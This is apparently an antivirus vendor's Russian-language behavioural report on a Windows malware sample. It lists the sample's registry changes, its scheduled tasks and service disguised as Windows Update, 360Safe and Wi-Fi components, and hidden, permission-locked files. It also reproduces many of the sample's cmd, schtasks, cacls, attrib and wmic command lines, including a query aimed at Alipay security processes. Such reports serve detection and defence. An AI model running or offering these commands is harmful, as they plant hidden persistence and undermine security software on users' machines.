Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{de5aed00-a4bf-11d1-9948-00c04f98bbc9}] 'StubPath' = 'cmd.exe /Q /T:88 /C vol&set n0=%ProgramFiles%\NetMeeting\&start "CheckUpdate" ...
Создает или изменяет следующие файлы:
- %WINDIR%\Tasks\360Safe Startup Check.job
- %WINDIR%\Tasks\Microsoft Windows Update.job
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\160WifiSrv] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\160WifiSrv] 'ImagePath' = '"%CommonProgramFiles%\livewifi\WifiService.exe"'
Изменения в файловой системе:
Создает следующие файлы:
- %ProgramFiles%\Google\Chrome_\res\isfirst.txt
- %TEMP%\tmp1.tmp
- %TEMP%\tmp2.tmp
- <SYSTEM32>\wbem\AutoRecover\C8463ECBE33BC240263A0B094E46D510.mof
- %TEMP%\tmp3.tmp
- <SYSTEM32>\wbem\AutoRecover\23BDE61F1F4FACE17E9B0C01F2A1FD9B.mof
Присваивает атрибут 'скрытый' для следующих файлов:
- %WINDIR%\Tasks\Microsoft Windows Update.job
- %WINDIR%\Tasks\360Safe Startup Check.job
Удаляет следующие файлы:
- %TEMP%\tmp1.tmp
- %TEMP%\tmp2.tmp
- %TEMP%\tmp3.tmp
Другое:
Ищет следующие окна:
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Запускает на исполнение:
- '<SYSTEM32>\sc.exe' create 160WifiSrv type= interact type= own start= auto displayname= "Wireless LANs Services" binpath= "\"%CommonProgramFiles%\livewifi\WifiService.exe\"" obj= LocalSystem
- '<SYSTEM32>\cacls.exe' "%CommonProgramFiles%\Service" /p SYSTEM:F /C
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\NetMeeting\*.lnk" /p SYSTEM:N administrators:R users:R /C
- '<SYSTEM32>\cacls.exe' "<SYSTEM32>\Tasks\Microsoft Windows Update" /p SYSTEM:R /C
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\Google\Chrome_\res" /p everyone:F /C
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\NetMeeting\*.bat" /p SYSTEM:N administrators:R users:R /C
- '<SYSTEM32>\cacls.exe' "<SYSTEM32>\Tasks\360Safe Startup Check" /p SYSTEM:R /C
- '<SYSTEM32>\attrib.exe' +s +h +r "%WINDIR%\Tasks\Microsoft Windows Update.job"
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\Google\Chrome_\SaySomething.mp4" /p SYSTEM:R /C
- '<SYSTEM32>\cacls.exe' "<SYSTEM32>\Tasks\@НшВз±ЈпЪєуМЁ±Ј»¤ИООс(ЅЁТй±ЈБф)" /p SYSTEM:R /C
- '<SYSTEM32>\cmd.exe' /Q /c vol&attrib +s +r +h "%CommonProgramFiles%\livewifi\*" /s &echo y|cacls "%CommonProgramFiles%\livewifi" /t /p SYSTEM:R /C&attrib +s +r +h "%ProgramFiles%\Google\Chrome_\*" &attrib -s -r -h...
- '<SYSTEM32>\cmd.exe' /Q /C vol&for /f "skip=1 tokens=1 delims=" %i IN ('wmic process where "name='AliimSafe.exe' or name='AliIMSrv.exe' or name='wwbizsrv.exe' or name='alipaysafetran.exe' or name='alicnotify.exe ' ...
- '<SYSTEM32>\cmd.exe' /c wmic process where "name='AliimSafe.exe' or name='AliIMSrv.exe' or name='wwbizsrv.exe' or name='alipaysafetran.exe' or name='alicnotify.exe ' or name='AlipaySecSvc.exe' or name='pcas.exe' or...
- '<SYSTEM32>\cacls.exe' "<SYSTEM32>\Tasks\Smart Defrag Checking" /p SYSTEM:R /C
- '<SYSTEM32>\attrib.exe' +s +r +h "%CommonProgramFiles%\Baidu\*"
- '<SYSTEM32>\cacls.exe' "%CommonProgramFiles%\Baidu\*" /p SYSTEM:R /C
- '<SYSTEM32>\cacls.exe' "%WINDIR%\Tasks\Microsoft Windows Update.job" /p SYSTEM:F /C
- '<SYSTEM32>\attrib.exe' +s +h +r "systemroot%\System32\Tasks\Smart Defrag Schedule"
- '<SYSTEM32>\cacls.exe' "%CommonProgramFiles%\Thunder\*" /p SYSTEM:R /C
- '<SYSTEM32>\cacls.exe' "systemroot%\System32\Tasks\Smart Defrag Schedule" /p SYSTEM:R /C
- '<SYSTEM32>\cacls.exe' "%WINDIR%\Tasks\360Safe Startup Check.job" /p SYSTEM:F /C
- '<SYSTEM32>\attrib.exe' +s +r +h "<SYSTEM32>\Tasks\Smart Defrag Checking"
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\Google\Chrome_\*" /p everyone:R /C
- '<SYSTEM32>\attrib.exe' -s -r -h "%ProgramFiles%\Google\Chrome_\res"
- '<SYSTEM32>\attrib.exe' +s +r +h "<SYSTEM32>\Tasks\360Safe Startup Check"
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\NetMeeting" /p SYSTEM:W administrators:C users:C /C
- '<SYSTEM32>\schtasks.exe' /create /tn "360Safe Startup Check" /tr "cmd.exe /c vol&set va=SaySome&cmd.exe /Q /C start /ABOVENORMAL \"twain.dll\" rundll32.exe \"%ProgramFiles%\Google\Chrome_\%va%thing.mp4\",start&exit" /s...
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{de5aed00-a4bf-11d1-9948-00c04f98bbc9}" /v StubPath /t REG_EXPAND_SZ /d "cmd.exe /Q /T:88 /C vol&set n0=%ProgramFile...
- '<SYSTEM32>\schtasks.exe' /create /tn "Microsoft Windows Update" /tr "\"%CommonProgramFiles%\Baidu\svrhost.exe\"" /sc onstart /ru system
- '<SYSTEM32>\schtasks.exe' /create /tn "Microsoft Windows Update" /tr "\"%CommonProgramFiles%\Baidu\svrhost.exe\"" /sc onstart /ru system /RL HIGHEST /F
- '<SYSTEM32>\cmd.exe' /Q /c mkdir "%ProgramFiles%\Google\Chrome_\res" &echo y|cacls "%ProgramFiles%\Google\Chrome_\res" /t /p everyone:F /C&echo 11>"%ProgramFiles%\Google\Chrome_\res\isfirst.txt"&exit
- '%WINDIR%\regedit.exe' /s "%ProgramFiles%\Google\Chrome_\res\tm.reg"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo y"
- '<SYSTEM32>\cacls.exe' "%ProgramFiles%\Google\Chrome_\res" /t /p everyone:F /C
- '<SYSTEM32>\reg.exe' IMPORT "%ProgramFiles%\Google\Chrome_\res\HKLM.reg"
- '<SYSTEM32>\attrib.exe' +s +h +r "systemroot%\Tasks\Smart Defrag Schedule.job"
- '<SYSTEM32>\attrib.exe' +s +r +h "%WINDIR%\Tasks\360Safe Startup Check.job"
- '<SYSTEM32>\reg.exe' IMPORT "%ProgramFiles%\Google\Chrome_\res\tm.reg"
- '<SYSTEM32>\cacls.exe' "%CommonProgramFiles%\livewifi" /t /p SYSTEM:R /C
- '<SYSTEM32>\cmd.exe' /Q /c vol®ini.exe "%ProgramFiles%\Google\Chrome_\res\reg.ini" &md "%ProgramFiles%\NetMeeting"&echo y|cacls "%ProgramFiles%\NetMeeting" /p SYSTEM:W administrators:C users:C /C&md "%CommonProg...
- '<SYSTEM32>\regini.exe' "%ProgramFiles%\Google\Chrome_\res\reg.ini"
- '<SYSTEM32>\cmd.exe' /Q /C vol&attrib +s +h +r "<SYSTEM32>\Tasks\Microsoft Windows Update" &attrib +s +r +h "<SYSTEM32>\Tasks\@НшВз±ЈпЪєуМЁ±Ј»¤ИООс(ЅЁТй±ЈБф)" &attrib +s +r +h "<SYSTEM32>\Tasks\360Safe Startup Chec...
- '<SYSTEM32>\attrib.exe' +s +r +h "%ProgramFiles%\Google\Chrome_\*"
- '<SYSTEM32>\attrib.exe' +s +h +r "<SYSTEM32>\Tasks\Microsoft Windows Update"
- '<SYSTEM32>\attrib.exe' -s -r -h "%ProgramFiles%\Google\Chrome_\*.bat"
- '<SYSTEM32>\cmd.exe' /Q /C vol&echo y|cacls "%ProgramFiles%\NetMeeting\*.lnk" /p SYSTEM:N administrators:R users:R /C&echo y|cacls "%ProgramFiles%\NetMeeting\*.bat" /p SYSTEM:N administrators:R users:R /C&attrib +s...
- '<SYSTEM32>\attrib.exe' +s +r +h "<SYSTEM32>\Tasks\@НшВз±ЈпЪєуМЁ±Ј»¤ИООс(ЅЁТй±ЈБф)"
- '<SYSTEM32>\sc.exe' config 160WifiSrv type= interact type= own start= auto displayname= "Wireless LANs Services" binpath= "\"%CommonProgramFiles%\livewifi\WifiService.exe\""
- '<SYSTEM32>\attrib.exe' +s +r +h "%CommonProgramFiles%\livewifi\*" /s
- '<SYSTEM32>\cacls.exe' "systemroot%\Tasks\Smart Defrag Schedule.job" /p SYSTEM:F /C
